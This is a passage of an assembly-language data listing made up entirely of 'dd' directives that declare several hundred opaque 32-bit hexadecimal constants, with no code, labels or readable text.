		dd 52C21A3h, 0F610AF00h, 0B35D7A5h, 623B003Eh, 0B432FF45h
		dd 9A0ED84Eh, 83111C46h, 0E0E17357h, 9F44D42h, 9748B2BBh
		dd 8B7EA000h, 1000837Ch, 96E05412h, 0F9B913h, 0ABAC26Ah
		dd 7A3643CEh, 0FD42081Fh, 8D7D8300h, 3A90F4A4h,	0FF8F7945h
		dd 94E0AD5Eh, 70BD4DD7h, 18B039h, 0F35F6047h, 76298Bh
		dd 0D4EF7263h, 64CDE01h, 0F40E6100h, 9ED86DD7h,	5C7FF7h
		dd 82D345E8h, 0B6749672h, 0F64C4300h, 0B2B11051h, 53990083h
		dd 55C9252h, 0D500AF4Ah, 8EEB174Bh, 811CF2h, 0FFC86C95h
		dd 6B43A0D2h, 0AE008AB8h, 978CABDCh, 0E5E873h, 0F210F379h
		dd 987ADAC0h, 5C3BB800h, 66845178h, 0EDE7005Ah,	79A15220h
		dd 2161DA3Ah, 0EAD5CA21h, 8FE0B1E5h, 0EE7A42h, 464B0997h
		dd 7A3244B5h, 33BD28C0h, 3BFA71BEh, 9B80569Eh, 0ABAE9A89h
		dd 220091F2h, 632F5CA3h, 604851h, 161EC77Bh, 27760AF7h
		dd 593CE300h, 7197314Dh, 0EE7A00EFh, 48D532EDh,	0CB004A8Fh
		dd 1AEA5355h, 1E38FDD8h, 7BE752Fh, 607916E0h, 42187405h
		dd 68A2B60Eh, 2C019371h, 1B982354h, 360D0h, 0FE9CEADDh
		dd 0C8823D75h, 708C5B39h, 29B84900h, 2A876B12h,	482D7723h
		dd 0CC1C281Fh, 2439CF56h, 0C67634E0h, 6E07574Eh, 0D5C2BD3Dh
		dd 0E6DF9441h, 183FBC24h, 591D10FAh, 4F01FD9Fh,	66D6521Ch
		dd 0DCA4DD69h, 3EAB2CD8h, 2773A78Fh, 0A080BA00h, 1C003D38h
		dd 83E43C10h, 0B8ACB365h, 7B80356h, 312A21ECh, 0D4366DC8h
		dd 0C4E51400h, 0FA65FFBBh, 0E11B0368h, 4F178855h, 40428807h
		dd 8E8B017Dh, 0EC50C0A9h, 12E394h, 3A0EC7BAh, 0AFA90907h
		dd 677EB600h, 56D19563h, 0F9190045h, 0CD0285D6h, 0FD003E87h
		dd 4D53097Dh, 3DF6CE1Dh, 429C829Bh, 503083A8h, 17BB544Bh
		dd 64DF03Ch, 0A76B383Dh, 3E100A9h, 77237CFFh, 0D53A0B27h
		dd 9EE5000Eh, 0C9825C80h, 0B0677E28h, 0AD6F0068h, 3CE43BAFh
		dd 0D800FEA2h, 0D447EDDAh, 5E3D82h, 4B6F598Dh, 6B0EAC64h
		dd 0FFBA6C01h, 0D25A3FD9h, 0F0C0C34h, 27474BA8h, 1230A60h
		dd 0C800BCF8h, 630EEF3Eh, 0B09A5h, 6EC4AF5h, 0B65E9E40h
		dd 32382A00h, 0AA08DE0Fh, 6C7700CBh, 9B1ED5BEh,	0AC58AEA6h
		dd 3CD90078h, 95B946F6h, 443010F3h, 6ADE03F9h, 285C49D6h
		dd 4985711h, 4D262F79h,	0F76980DBh, 333CBACBh, 174BC8Bh
		dd 83383CC9h, 37C8DB1Ch, 15720090h, 7FE6B39Ch, 0BE005F99h
		dd 0A2FD8C16h, 0C57807h, 27425B83h, 8B3D192Dh, 0F59ED418h
		dd 228C6DAh, 41820E9Dh,	0EE8021D3h, 454FA03h, 4E1D44F2h
		dd 4D808991h, 9FE0B13Dh, 22840435h, 0C09620DBh,	0A77A0884h
		dd 0E8E3E951h, 5303C6A0h, 0AFE8B66Ah, 0C8628B2Ch, 3497BB9h
		dd 33F9BB89h, 0B1B8F118h, 0C54C168Eh, 0DE93125Dh, 51793A00h
		dd 0F61950Dh, 0A290BACEh, 0D37CB960h, 9200A871h, 0B4349973h
		dd 665CEEh, 67D6F68Bh, 5756C886h, 0F87CB61Fh, 16A79707h
		dd 3E2BC6F0h, 88290158h, 5EB4E092h, 0DECC206Bh,	0BE148100h
		dd 3C3503A2h, 0C73A0006h, 83429641h, 30F6AFC4h,	0BD4CB41Dh
		dd 61982800h, 0C80490h,	7D7FE332h, 0AA37EFA3h, 71BB4600h
		dd 0A491B9C3h, 45E20956h, 75A1A7h, 0FB883E43h, 0BE5C0090h
		dd 6B201D8Eh, 0AA03CFFCh, 18345DA5h, 0F3C0A7D1h, 177709Dh
		dd 0D44A478h, 0C02B321Ah, 0B500E44Bh, 5122EF67h, 272AA0B3h
		dd 8000CB58h, 2101571Dh, 90AC4D0Fh, 0A400B2B6h,	0C859FC69h
		dd 13C92AAh, 44466EB9h,	0DC49735Ch, 0A509BC8Bh,	0A01D4F38h
		dd 4D3B783Ch, 0C8D60E1Eh, 0E8008B2Dh, 6A7C7FF5h, 31063600h
		dd 632002C2h, 910700DBh, 0E3E94DA3h, 0B90E95CCh, 606C49E8h
		dd 9B0CCFC0h, 74F008Fh,	0F13E2469h, 3D2874F2h, 0A21854B0h
		dd 9479E722h, 388F1863h, 0EB02B85Ah, 89B5F0Eh, 0E83DC0FFh
		dd 481B67DAh, 25138C99h, 6920005Ch, 12E475B7h, 0F5C7B900h
		dd 0A5534D91h, 0C9F400E2h, 197917EAh, 8A002EF8h, 69E48C59h
		dd 12DA7F7h, 0A26EC71Ch, 0F8F543E5h, 89C05194h,	0CAC542C6h
		dd 78B40080h, 0DE3ABBD4h, 831F2D0Eh, 0CC0B10C7h, 42FC1070h
		dd 0E81CB2A7h, 27EB0786h, 0C656F6BBh, 0F43FC82Dh, 0E3D18052h
		dd 9DD43031h, 4644001Eh, 0D732929Ah, 0E900710Fh, 0E2162377h
		dd 3CCB08BEh, 0B3BF29A7h, 81D30079h, 6C401C65h,	96008442h
		dd 0ECB19079h, 0E8F06B56h, 30C20158h, 4D618BB3h, 0F24CF457h
		dd 0CA7E3F0Eh, 27BBE018h, 865A28h, 0FFDE3B8Fh, 4A63D790h
		dd 1F021200h, 30E56FECh, 0BB8D1D61h, 7B32816Dh,	5238F88Eh
		dd 9CE22E8Ch, 46E48C01h
		dd 5EADE402h, 0A60A7901h, 456FD41Ch, 0D04E0h, 38FA8F8Ah
		dd 0B5D7852h, 0CE562D00h, 8E1FB9A0h, 0DEA32430h, 3B5500BDh
		dd 207FB79Ch, 0F0AB2E00h, 7029D5B2h, 13500001h,	8CB659DEh
		dd 113A6DC7h, 0A5A680E3h, 47031583h, 0D421C99h,	8D1900F4h
		dd 0D725BB9Dh, 291ED300h, 9AD6A22Fh, 9E928C0h, 12820082h
		dd 6EFCD58Dh, 184CC596h, 2D2B0FF0h, 89B3E0F7h, 135E01A4h
		dd 916498Bh, 671Bh, 6514B43Dh, 0E196B103h, 83942293h, 0C152A045h
		dd 2634B04Ch, 802C61DCh, 0AA9DEC95h, 0A4002E02h, 0FD08188h
		dd 1726D6Bh, 7098E7C5h,	0D4F145DBh, 2300FB1Fh, 6B3710B5h
		dd 725E9D17h, 93A8243Fh, 5D2F80A4h, 0A358E9E8h,	242648h
		dd 9D523BB9h, 0F5DC74h,	9F063F13h, 0CCD839AFh, 0F62ECF74h
		dd 7705E08Fh, 409022BDh, 0AD5985h, 96814DA1h, 0B332D93Dh
		dd 83007FFCh, 0D879180Ah, 28ACF233h, 16B535B1h,	9179F12h
		dd 0D4004D65h, 0C991F78Eh, 3DCC3107h, 84638B6Eh, 0A0A7C03Bh
		dd 3B4F821h, 25C3A8CEh,	0D7D0C62Bh, 261E560Eh, 44C2ECA4h
		dd 0E053DAC7h, 23DBA0h,	0F07E8728h, 0A7AD8F82h,	9383EB00h
		dd 0A2B75696h, 0B2450044h, 208166DCh, 6472C7C8h, 760055FEh
		dd 18F5A594h, 292D680h,	51D92C14h, 0C0EE7470h, 4CA68B02h
		dd 0E53E7FE0h, 732201A8h, 6453CC5Bh, 572679B0h,	426A88Ch
		dd 7C025606h, 0F1160049h, 6806731Ah, 0B700E054h, 7BA75E2Dh
		dd 0AC3856h, 1A5DB0D1h,	2B48E2ADh, 93F7D93Ch, 0C404A37h
		dd 87EEB301h, 0D50D02D7h, 6174041Ch, 0A7B27C63h, 0C20C106Ch
		dd 90EE6E7Dh, 79D0083h,	493A9347h, 320689F5h, 0A6F98D9Ah
		dd 25B90020h, 0EBA4F3F4h, 0E200A7C5h, 48B31396h, 1E0746h
		dd 2987AAE4h, 0A375989Dh, 0C0F42E00h, 0F9FFA8F5h, 0CE5300CAh
		dd 3CDA7DF8h, 0CF009B66h, 0C55CC906h, 0BCCEC64h, 0AABCC2FDh
		dd 38AE200Eh, 60BD7427h, 97AA985h, 22194700h, 0A5DD2546h
		dd 0C68CA05Ch, 43F00BCh, 0A3AD718Dh, 0F000A691h, 497A3060h
		dd 73A938h, 0A0F7B64Bh,	0A6F8D6C3h, 7640A700h, 3270F0A5h
		dd 0C998DE9Fh, 98002FA4h, 0C314C719h, 1402762Ch, 5C7D6200h
		dd 0E020BAC8h, 0E9D800DEh, 5B94224h, 0D0A050D1h, 0A6005261h
		dd 2CF843F9h, 5540A8h, 0AFAAD975h, 17B0C6F7h, 0D1B58400h
		dd 1530D67Ah, 897C05D4h, 49DAC94h, 0E17BFB80h, 0A42AEC18h
		dd 0BACC1A00h, 0A2A311B3h, 7A310186h, 6AC25975h, 92C2793h
		dd 2913A23Bh, 7E510114h, 52F8DF64h, 91C918DEh, 0BD8689DCh
		dd 32B6D200h, 37ADE5DBh, 3E24B192h, 0BDBB0E00h,	9BA6FA98h
		dd 71688800h, 921C2F37h, 0E8930ECEh, 806036C7h,	255E70EBh
		dd 0AFA38107h, 2660752Fh, 3D449055h, 2B006CCCh,	0B898B44Ah
		dd 5C00D20Ch, 0C9468E48h, 1FAAFA66h, 4BFFA6h, 37BFA4A1h
		dd 4758BB9Bh, 71EE07ACh, 40000E93h, 0A02443h, 1DD95AE2h
		dd 923934E1h, 0D5BC380Fh, 561CE08Ah, 0D4F617h, 0A4FFDF5Fh
		dd 270128E6h, 2E6FA300h, 149D68D9h, 0C66E000Ah,	3C3384CAh
		dd 9D98FAAFh, 0CE45B500h, 0A34EB96Dh, 124000Ah,	86F6C559h
		dd 2E0008DAh, 726FBEFAh, 5FC2Ah, 15F277B1h, 3335D8CDh
		dd 5EB09400h, 72DCA1BCh, 37FF0A62h, 1CD8B1C3h, 65E280ABh
		dd 231DC070h, 3C95F909h, 18510CF2h, 3E5438EAh, 961F1700h
		dd 0F9FE53C8h, 0C90992FAh, 183634DEh, 7ECAECh, 1278F0B2h
		dd 0F5A459D0h, 3CA03202h, 4087EF2Eh, 148B7CCh, 4EFAC794h
		dd 0FAE1434Fh, 112E8850h, 0EB0710A5h, 57B00E75h, 0B7768Ah
		dd 0B36E782Ah, 5CDF12F7h, 4F1082A0h, 6917BD00h,	0A13AD3Fh
		dd 0FA1902B8h, 29D7B98Dh, 92E1860h, 0AC5447E8h,	1D00BBCCh
		dd 0D10CB68h, 53AFC4h, 71B795DEh, 5E72C1Fh, 204CBF79h
		dd 3B5D0270h, 4955A70Ah, 0E3C84374h, 99210040h,	0DCF6A85h
		dd 0B61FAE28h, 13C7076Bh, 7D546DCDh, 880090D7h,	2A3D254h
		dd 0A5B53D38h, 0B7E38A47h, 0D60B6E88h, 2980440Eh, 0B07943F1h
		dd 59A6C86Ah, 726607C4h, 0C030CD2Eh, 62A1E44Bh,	1014C600h
		dd 186FF9EAh, 712F011Ah, 5145BA3Bh, 1572DCF5h, 343DB402h
		dd 4211A72Ch, 2A02C054h, 0D27C00EEh, 0CAD30CEAh, 0CB00672Dh
		dd 96481B94h, 37B43Ah, 78E3B37Fh, 0C9019388h, 4C9890FEh
		dd 0F8295100h, 54ED9BDCh, 4F0EC5Eh, 21CDA880h, 6087B7h
		dd 93AC0BEEh, 59BAF900h, 0C316F3B4h, 0CA5501F5h, 85C521A4h
		dd 3651C45Eh, 0F8646E09h, 0DBCE00ECh, 757D1956h, 227907A5h
		dd 2377301Eh, 59E18389h, 0F74FE0EBh, 118FE5Ch, 0B0A63725h
		dd 0E8D8A455h, 8C7300BFh, 6B348FD8h, 0F95CD033h, 1070000Eh
		dd 0EC7AF819h, 2E7700C7h, 6C25D1DCh, 0B00EC8B3h, 0C056532Ah
		dd 0FB6007DBh, 0C88B50F8h, 7BD500CFh, 7EE3B45Bh, 0FD7E151Fh
		dd 6EF27575h, 89D6B800h, 93D5CB20h, 773100BFh, 0B17DA38Ch
		dd 6F71F08Dh, 7AA7D000h, 0EA79BCFEh, 0B080C07Bh, 0C22318A3h
		dd 3A90BA09h, 0F32400A4h, 0E2AB98h, 99560667h, 0A9332E70h
		dd 58DBAA3Eh, 9AC41E42h, 0DF01D31Dh, 21DEBA27h,	55FDF0h
		dd 73E13A8h, 0F6F83B69h, 3D176D00h, 4A572D20h, 1E3C26FEh
		dd 4F0A139Ch, 320B4E94h, 0E97E6CC0h, 0CA9A3Ch, 48D192A6h
		dd 0A0099525h, 8DB010h,	0B502C679h, 0A5AB1C92h,	0E3FACE10h
		dd 0A3011Eh, 0BF7D8B61h, 0D7009D16h, 0ECA1B93Eh, 1809BBh
		dd 0E907AB50h, 149FEE11h, 0C50F64F0h, 402DEB9Bh, 4F600CD3h
		dd 461E3DE9h, 0D172308Fh, 73810247h, 603E2A79h,	8033BBF7h
		dd 5C8BED63h, 0E46BBDAh, 0F2BEC8C5h, 982B7426h,	0FF014038h
		dd 19C21E72h, 0A0B5B019h, 8138DFB0h, 449500F4h,	0BE5ABFF7h
		dd 15E6DD01h, 0B2B64D50h, 0DE17E900h, 0D23C0F1Dh, 0C5D30031h
		dd 0DB23CB41h, 0B00EB69Fh, 0A05A8429h, 79219903h, 3C260115h
		dd 0FA37116Ah, 0BCB670DBh, 0D3292000h, 701C68A9h, 0CBDC0067h
		dd 28DA5562h, 650045CCh, 1110DEBEh, 0F8BACB6h, 0D9BD77FFh
		dd 36E0BA20h, 0C000FCBCh, 4ED218F0h, 4733E79h, 6B1B3707h
		dd 209CA1D4h, 0D001568h, 0FD287D82h, 0EC0177h, 5AE036E5h
		dd 3B54B149h, 95001FE6h, 774F2D67h, 1C05694h, 5864DF7Ah
		dd 51CEA176h, 0C857B5F4h, 0C2005CACh, 91FACC25h, 0F281632h
		dd 95B2FFB4h, 0F09DF7C5h, 24DA178h, 93B00080h, 55A47ED9h
		dd 0C6C7011Ch, 141564Fh, 806ED91Dh, 0B3409CEh, 7915266Ah
		dd 44754814h, 57D42D00h, 0C967D086h, 0F59C2000h, 8A62FF4Eh
		dd 0D62930B9h, 285B69E9h, 89227B00h, 0A35EEC4Ah, 7CD200B7h
		dd 72949DB8h, 70045CAh,	2E227A3Eh, 92D59588h, 2CE4FE00h
		dd 0A0242769h, 1CC1C0E4h, 0A74489EBh, 48F86803h, 0B021E07Ah
		dd 0BAF33Bh, 5A5716CDh,	0B6A978B3h, 0D5E7B40Fh,	704F20A5h
		dd 0E4BBD1h, 45F5DB0Ch,	48EEFF30h, 0D963BE1Dh, 0FD9D5401h
		dd 0CCD0BFE7h, 415E00C2h, 0F945020Eh, 3F1DEB63h, 76006D42h
		dd 7DC2CE8Eh, 1F0C00FAh, 0A499E657h, 0BC4C32A6h, 0CD3D0E93h
		dd 1D07E359h, 0C7581003h, 0CCFC0EAh, 43A9453Bh,	2157306Dh
		dd 0E88FBh, 92E3498Fh, 16CB3AE4h, 0E9EE8000h, 9BD56497h
		dd 725903CCh, 15D96053h, 0B8EC16B8h, 0DC88860Ch, 30E748BEh
		dd 0D550D026h, 200B6627h, 0E383CEh, 41EAA62Dh, 5008500Dh
		dd 2ED433Ch, 45070E8Ah,	36893041h, 7EC53E00h, 40650E4Bh
		dd 0A4F8006Ah, 0BE86F007h, 977EEB58h, 33B70A00h, 196815D6h
		dd 846406E9h
		dd 28BFF688h, 0B3787671h, 3EFD4B00h, 49B4AC12h,	9A11006Eh
		dd 0AE35A091h, 190054B8h, 792A9223h, 828D8Eh, 49C9A7F5h
		dd 27D87ADFh, 955D1E01h, 0BBEBF1D4h, 0A07DB883h, 0DFF132C1h
		dd 0CE12E69h, 2C4849ECh, 0FA7EA6Ch, 68C02524h, 4D92C41Ah
		dd 8A533000h, 356EB74Eh, 0AF8F0F63h, 0A6E136F2h, 30A07920h
		dd 0DA77B333h, 0A19AED00h, 6EAE15F9h, 0A88C003Ah, 0B785642Dh
		dd 8438037Fh, 18F80329h, 0D0FD2BC5h, 30867BEBh,	4F31AFD2h
		dd 82184969h, 0F5103660h, 0C5D7077Bh, 5028EA2Fh, 4F1DEBB9h
		dd 2C2E060Eh, 9B7420F7h, 3147C41h, 0E3E80BB4h, 22E9A0E9h
		dd 0EFB73081h, 5079C3F4h, 0C7698A07h, 0CFC1807Ah, 32DC8409h
		dd 8D2400BDh, 1295C1F5h, 4801055Bh, 0EF4E5D8Bh,	1DE893DCh
		dd 776307C7h, 519ED5D8h, 702DA503h, 0C8000D1Bh,	3A0AB4C1h
		dd 1FE3819Dh, 1C0CB0DFh, 1083D8D2h, 760022DBh, 5FEACC41h
		dd 42CE6Bh, 6C60C71Bh, 167D7446h, 0B60D3Eh, 7C132C7Bh
		dd 777F9Eh, 74609251h, 0EB9766D9h, 1E658207h, 0EDC08D96h
		dd 74BC084Ch, 5451000Dh, 0D05B626Ch, 77071985h,	0B0C0767Bh
		dd 4713543h, 5E3A3920h,	21B2C352h, 8A3D44B0h, 750ED5A0h
		dd 48564Ch, 0EB92FD4Ch,	7972C7D5h, 8C46043h, 130C1151h
		dd 4FE98900h, 0BBA081D7h, 0DAFD03DFh, 371907AAh, 90CFF690h
		dd 0A385D900h, 3643F756h, 404C6E54h, 273AFAA0h,	10C04F78h
		dd 40B1D9B4h, 4990312h,	7A8FEB18h, 2100B7A3h, 0EB1D4D2h
		dd 7B8E47D3h, 0D85A0797h, 53A1FA8Bh, 0A8189167h, 0AD311F11h
		dd 0C7990008h, 2E88E1F4h, 9103D1ACh, 0BA77C670h, 9E88001Ch
		dd 9D4E40C8h, 0F9F08A38h, 48B75331h, 8310F1A2h,	9B0FC7ACh
		dd 0E03FA16Eh, 0A367E47Ch, 3B28C0FFh, 9BF94E31h, 0B410FB60h
		dd 19F4317h, 0A5BCAC8Ch, 0C046516Dh, 1C007798h,	7561238Eh
		dd 2E7948Ah, 0F9FE4DE5h, 8040BFD7h, 150064EDh, 37170621h
		dd 167C660Bh, 991D0h, 1A94D8Eh,	6C1DE5A1h, 0C41FAA19h
		dd 0F6938D00h, 0E8EBADFh, 0E15E13F3h, 6ABD8A00h, 4A00F9B0h
		dd 0AB082869h, 389A866h, 79C1E9F5h, 0DC0C0448h,	48100BEAh
		dd 7C430BF3h, 5D00D70Eh, 52EB1F7Fh, 698E4B00h, 98618DD5h
		dd 10A93070h, 36F364ACh, 8062943Fh, 674E42D8h, 0FC0FA8h
		dd 4AF8C85Ch, 0A417F372h, 84CF34A5h, 51203611h,	3B0032CDh
		dd 4F749056h, 17A0194h,	768034BBh, 9D9248CFh, 0A030A518h
		dd 1D5ED0h, 0B8071E3h, 9B61EEF2h, 0B1F7570Ah, 883284BAh
		dd 7354308Ch, 1D7A91Ah,	2B440480h, 732FDC40h, 0FD0B6A4Ah
		dd 81A5571Ah, 0A4A7ED0Eh, 1F76771h, 16733A80h, 0C880079Bh
		dd 7E18CF17h, 32102ADAh, 75AA3B0Dh, 0FE351880h,	0EA29E91Bh
		dd 3B746200h, 867EF71Eh, 3D9EF411h, 68007715h, 551087B7h
		dd 0EE071A0Bh, 0BC2EE717h, 0E6C1B9B1h, 32C49ECh, 0F122DD93h
		dd 84E0B65Bh, 5500B390h, 0A098CDDEh, 37D69C7h, 471615ECh
		dd 0F0F7845Dh, 0F08A5704h, 9DA3D206h, 18B7CDh, 0EE319B34h
		dd 0FEB43F21h, 0D7E69400h, 0F24075FAh, 1EE4A0h,	0BD71CC3Ch
		dd 0B7970C37h, 0EEBF3F00h, 0ABC1E1A8h, 0C8163014h, 0A7BD4689h
		dd 4CCF1A1Dh, 382C3305h, 6A90CA00h, 6FE9F6h, 0A89E17A6h
		dd 0E43635CDh, 4877DB30h, 61CD271h, 1618A55Dh, 0A47C51EEh
		dd 46FB2F0Fh, 63092032h, 0EA2B50h, 4AD14F7h, 0F37BECD3h
		dd 0E814C7E6h, 0C94BD9Eh, 0E1C2A523h, 80A35474h, 18FA7BEDh
		dd 64CA4348h, 1C01A725h, 8C242C17h, 28A6B5C4h, 87A307C8h
		dd 0A99A0013h, 0DF0FD770h, 60EB4E79h, 86301C59h, 0A84C00DDh
		dd 93C2BD5Ah, 6F01C081h, 0A6DB700Eh, 0E0BE9A0Fh, 7E84D90Ch
		dd 0C736C618h, 0A09E89h, 9682873Fh, 9559C1EFh, 9242F100h
		dd 4D17F030h, 3C27E833h, 4A80B0B7h, 42E40F80h, 0D7003577h
		dd 2E5502ACh, 359D590h,	578276E7h, 1EE1FF2Bh, 936F408h
		dd 2F563303h, 0C7CC34E9h, 0AC157B51h, 0E106DC4h, 137F1793h
		dd 0AF31E080h, 0D11DDA36h, 0D3000AC0h, 0ECAB2B28h, 0CEBC1CE6h
		dd 8D26C0A7h, 5421797Bh, 36C5E70Eh, 9E0E400Fh, 0F606DBh
		dd 0AE34D6ACh, 0B3E6ED7Fh, 66101D1Eh, 0A21674D2h, 0C540AE1Fh
		dd 0C7338D1Fh, 3941DB3h, 21BC18C4h, 3A702276h, 9E032B90h
		dd 1AF9DD66h, 0E96800C7h, 0A8FAE894h, 7A386905h, 81739229h
		dd 175CF100h, 0F7192Ah,	0D2BAD862h, 74B8DECh, 89FDC530h
		dd 3C28D4ADh, 0FA00DB7Eh, 0BB1597CFh, 9A01A5D5h, 9485D1CEh
		dd 0FCF84387h, 0C24D00F2h, 0ADEA622Dh, 0A20F5A9Ch, 0FF91F790h
		dd 1F29F980h, 5350871h,	849D8619h, 0E62CC079h, 2B007C0Dh
		dd 87BF0576h, 0F2A9C352h, 4E5000B8h, 0D90EDFAEh, 260A4DD3h
		dd 0D4EEAB83h, 0EF000A12h, 18EB73A1h, 0B70D0B98h, 0C400E5DAh
		dd 0AD646E5Bh, 612EE01h, 3E8A2887h, 7786D8F0h, 31CE3EA9h
		dd 0AEC20E00h, 33504D2Eh, 758DE800h, 0F08EB766h, 0C3E60018h
		dd 49BFC9CBh, 0C60188AEh, 8459FD1Fh, 40E2BCC5h,	3A60D469h
		dd 0C70064E7h, 0F2611E6Ch, 0F4009F23h, 0C9DEC836h, 842DB6h
		dd 2AD3025Bh, 71CEC2B3h, 0F83C7403h, 0DF3ACB79h, 3525070Fh
		dd 99CF0E90h, 88B63E1Fh, 5FEDA381h, 0F0DC452Bh,	890021E4h
		dd 0BDD50E6Bh, 3DF377h,	4A3446CDh, 2130C2BCh, 99259404h
		dd 1EC018C0h, 1C3FCAh, 0D5E2D2E7h, 8928E8F5h, 0B61DF92Eh
		dd 0D815C00h, 3246233h,	9F1E07FFh, 0C800C627h, 8C63217Fh
		dd 3BE10D6h, 3BD2EAB7h,	0C2E3B8C3h, 879BACF8h, 14B61C3Ch
		dd 41F90h, 0CD919989h, 0FAAD74B8h, 0F9CE0187h, 82FA551Ch
		dd 576BC8ABh, 0B3503BFAh, 0F4509AF8h, 27001D89h, 0D38DD84Bh
		dd 7AF323h, 39F13DF7h, 7762456Bh, 2FC3DA00h, 0A41FA629h
		dd 70B87Ch, 6B25343Dh, 93A75F76h, 0ACF9B300h, 9451669Ch
		dd 421A0067h, 7BF39D24h, 0D80046AAh, 0D5840CEFh, 5221B4h
		dd 4B3585A8h, 4324DC5Bh, 0C75984A0h, 0F3CC5F00h, 3A257E16h
		dd 4FDA7332h, 126AC23h,	0F8D751E7h, 74C855B5h, 184100C3h
		dd 43EB2152h, 0A00F9ADh, 0CE7EC6F1h, 0A95558h, 965B3B5h
		dd 298AF44h, 1D99E63Bh,	36CCE2D9h, 0DB208Eh, 0FB9C6C57h
		dd 5D56169Fh, 28927A1Eh, 88F1CC1h, 0B6288382h, 1E606806h
		dd 0EE7D9056h, 0B14D4801h, 3F1D9761h, 0CEF7EC86h, 0B0079B6h
		dd 0F92CC00Fh, 0A27AE9h, 4D6490E4h, 58F6984Ch, 25F44700h
		dd 55438A0Eh, 0A77F5Dh,	6C1CA42Eh, 7B52B2F1h, 2077D800h
		dd 47C6B9A0h, 0E1182C7Dh, 39AC0FB4h, 0EDCB0916h, 9786C980h
		dd 0C200017Ch, 754A0A9Fh, 764B48B3h, 0D3340FC9h, 26C0D1BDh
		dd 0D7CC86B2h, 0E14FC500h, 9EDE6780h, 0F5DC00EFh, 758468A0h
		dd 961F2FCEh, 42035B60h, 0C01B787Eh, 0F85EF1h, 94591E4h
		dd 0A3102567h, 0FB38100h, 8A604094h, 265D01D0h,	1BCDB488h
		dd 1D7FC4C7h, 0A29A1A0Fh, 561658E0h, 400200FBh,	0A3453A78h
		dd 6090BA29h, 0F1CAA11Eh, 72129326h, 51103000h,	4D9ABEh
		dd 0C484C6B4h, 0E1575C4Bh, 963EC200h, 0D7DF7066h, 0ADDC00D0h
		dd 0CC9B67D1h, 870FA77Fh, 593ECAh, 7ED85522h, 92FC72A4h
		dd 10D40094h, 2D48A68Ah, 3202AD9Ah, 14B2CB50h, 33B8601Eh
		dd 92B03C96h, 0D0239400h, 7D5CF6C3h, 698B5D00h,	963FDD48h
		dd 1D9002Ah, 50D7D5E8h,	45002643h, 4B530302h, 588A879Dh
		dd 0E006465h, 0C19A4AA4h, 3E004D63h, 53F8E466h,	0EE83EA94h
		dd 5F4300B5h, 0B98B1F0h
		dd 7F001AB6h, 6BEE3CEBh, 0E344A2h, 0C3B593CEh, 0A65C4A3Bh
		dd 370A39h, 26ADB184h, 4C4E32E3h, 0DA0115D2h, 0A92D7899h
		dd 8690803Dh, 0AF2048A4h, 0BFB200C1h, 8D679DC6h, 1800CBA2h
		dd 16B54CA7h, 714165EFh, 378237D8h, 5F877038h, 1B00BA7Dh
		dd 0ABB0DF61h, 0FA6786E5h, 98F64C93h, 9802860h,	757777A1h
		dd 0CA920A1Dh, 20D93DC0h, 394FFE2Fh, 0D002AF94h, 4596BA12h
		dd 75C825C0h, 149C1807h, 0C540B919h, 1C308F0h, 2F7345C7h
		dd 0CC59ABA9h, 0CE00801Eh, 0FF8B711Ch, 0E7170Bh, 7F5FA66Ch
		dd 9BA95053h, 28D86F03h, 0E84ADD5Ah, 96E80CAh, 84614F17h
		dd 0B0559080h, 9A1E7DBAh, 0BDC00F67h, 0A25EC4A3h, 4910103h
		dd 0B72BB651h, 7DCFF852h, 0C465AA00h, 9757AC28h, 59FE001Fh
		dd 3D2294ABh, 0BE00DC50h, 95DE63E6h, 906C0861h,	596F0075h
		dd 0DF372205h, 5E009A2Ah, 28D2CD97h, 70DB79A3h,	42A5074Fh
		dd 20A7C3E4h, 30701E7Fh, 0B044E000h, 206E555Ah,	0BA6A00D3h
		dd 912FD050h, 67035B14h, 1E15A426h, 7BB9D888h, 0E3BB01C1h
		dd 0A5DE9207h, 9DF4FCE0h, 3C1B6A09h, 0B8CC01D7h, 928B8517h
		dd 0C001D12h, 4016105Ch, 46C7AC01h, 6A0DBACFh, 2BA0A647h
		dd 0F4AF8D71h, 0B020771Fh, 45F90285h, 55FFC782h, 7A95E460h
		dd 0ECDF750Ah, 0EA03E8F8h, 0D0FB32F4h, 683149h,	8E6C092Ch
		dd 0FD54B4BEh, 0AE7B5300h, 72D45A6Bh, 0C0E90EE6h, 0B20160EFh
		dd 0F8188402h, 0A03050E5h, 0FBFC60B7h, 3C5200A4h, 9E2ED8BBh
		dd 0E9008AF2h, 835958BAh, 5CB9C7h, 4ACFCD9Bh, 0A6ACAA4Dh
		dd 46FBB609h, 0E9E820ABh, 0FF7184h, 6B806126h, 25CAC3D3h
		dd 89AA826h, 0EDBE6D87h, 0A1E1F520h, 559100E6h,	0AA4A79EAh
		dd 0FF00CD42h, 0A62D42Dh, 77EEB216h, 46D70123h,	0E8F80898h
		dd 9740F2FCh, 0E673301Eh, 0F0000B0h, 0FF7A1211h, 4F7509h
		dd 6AC4901Ah, 76EB570Dh, 0A1745300h, 0E26E1F8Ch, 56DE017Eh
		dd 3589111Eh, 0E1AA20A6h, 0ACB8B100h, 0A22C979Ah, 0E87600BFh
		dd 0F5460864h, 0B5C4CABh, 80920055h, 0A5CBBCDFh, 9BE80068h
		dd 0A73F7C0Eh, 7201A3D3h, 0C1FC87EDh, 0C437157h, 0DC9AF8EEh
		dd 0C7B3002Eh, 1C02FF63h, 0C2071DF8h, 0DA2F6455h, 0D2AB6810h
		dd 8B8D00E3h, 100FFD21h, 830042CEh, 9837A16Eh, 3E3D29C5h
		dd 79F15Fh, 6B45B72Ah, 77FC4DBAh, 9F00DD72h, 0CFF4DC90h
		dd 7B6A460Ah, 3F150043h, 70F55A86h, 1900ABCBh, 2E925452h
		dd 787F08B1h, 69330E7Ah, 0AF60D67Eh, 0A680BF8Ch, 7984891Ch
		dd 19C64D00h, 247E14Eh,	0A5AA207Eh, 0E240DDA0h,	0EE0E6725h
		dd 71F327h, 7E62D773h, 9F9100CFh, 0C33FCBA6h, 1AE25530h
		dd 0B0892C3Fh, 1DBB70B6h, 8FBD00E6h, 0FE902043h, 40015867h
		dd 0C9A622B5h, 0A460B021h, 0A313CEAh, 37AE0E0Fh, 0F0E215E7h
		dd 93CCB6CAh, 29C7DA00h, 5497E87Dh, 5722Eh, 5B55781Ah
		dd 0EE1CB1B3h, 8D539B00h, 6C9A4FACh, 4A7500B4h,	51ED1FA3h
		dd 2326D55Fh, 0B300DB70h, 0EE5DAEE6h, 9D17FCDh,	0D2F88F81h
		dd 20623D87h, 0FF5237E7h, 95D5F100h, 28B78538h,	6760008Eh
		dd 0A274506Ah, 0B009ACCh, 0A1B21D9Dh, 64220Eh, 38592E55h
